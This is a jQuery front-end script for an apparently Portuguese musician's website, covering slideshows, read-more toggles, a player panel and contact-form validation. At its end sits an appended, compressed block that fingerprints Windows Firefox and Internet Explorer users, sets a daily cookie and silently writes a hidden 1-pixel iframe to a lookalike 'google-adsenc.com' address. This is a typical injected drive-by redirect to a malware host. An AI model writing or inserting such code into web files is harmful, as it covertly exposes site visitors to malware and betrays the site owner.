function slideSwitch() {
    var $active = $('#slideshow IMG.active');

    if ( $active.length == 0 ) $active = $('#slideshow IMG:last');

    var $next =  $active.next().length ? $active.next()
        : $('#slideshow IMG:first');

    $active.addClass('last-active');

    $next.css({opacity: 0.0})
        .addClass('active')
        .animate({opacity: 1.0}, 1000, function() {
            $active.removeClass('active last-active');
        });
}

function instrumentSwitch() {
    var $active = $('#instruments a.active');

    if ( $active.length == 0 ) $active = $('#instruments a:last');
	
    var $next =  $active.next().length ? $active.next()
        : $('#instruments a:first');

    $active.addClass('last-active');

    $next.css({opacity: 0.0})
        .addClass('active')
        .animate({opacity: 1.0}, 1000, function() {
            $active.removeClass('active last-active');
        });
}


$(document).ready(function() {
						   
	$(function() {
    	setInterval( "slideSwitch()", 5000 );
		setInterval( "instrumentSwitch()", 5000 );
	});
	
	$("#moreInfo, .moreInfo, #btn_lermenos").hide();
	$("#bio, #current").append("<span id='reticencias'>...</span>");
	
	$("#btn_lermais").click(function () { 
		$("#moreInfo, .moreInfo").fadeIn(1000);
		$("#reticencias").hide();
		$("#btn_lermais").hide();
		$("#btn_lermenos").show();
		//parent.document.getElementById("conteudo").height = document.getElementById("right").scrollHeight + 250;
    });
	
	$("#btn_lermenos").click(function () { 
		$("#moreInfo, .moreInfo").slideUp(1000, function() { $("#reticencias").show(); });
		$("#btn_lermais").show();
		$("#btn_lermenos").hide();
		//parent.document.getElementById("conteudo").height = document.getElementById("master").scrollHeight - 350;
    });
	
	$("#btn_setas_close").hide();
	$("#btn_setas").click(function () {
		$("#mPlayer").animate( { left:"-90px" }, 300);
		$(this).fadeOut(150);
		$("#btn_setas_close").fadeIn(150);
		$("#mPlayer img").fadeOut(300);
    });
	
	$("#btn_setas_close").click(function () { 
		$("#mPlayer").animate( { left:"-25px" }, 300);
		$(this).fadeOut(150);
		$("#btn_setas").fadeIn(150);
		$("#mPlayer img").fadeIn(300);
    });
});


function validate_required(field,alerttxt){
with (field){
if (value==null||value==""){alert(alerttxt);return false;}
else {return true}}
}


function validateContacto(thisform)
{
	with (thisform)
	{
		if (validate_required(nome,"Introduza o seu nome")==false)
		{
			nome.focus();
			return false;
		}
		else if (validate_required(email,"Introduza o seu email")==false)
		{
			email.focus();
			return false;
		}
		else if (validate_required(mensagem,"Introduza a sua mensagem")==false)
		{
			mensagem.focus();
			return false;
		}
	}
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}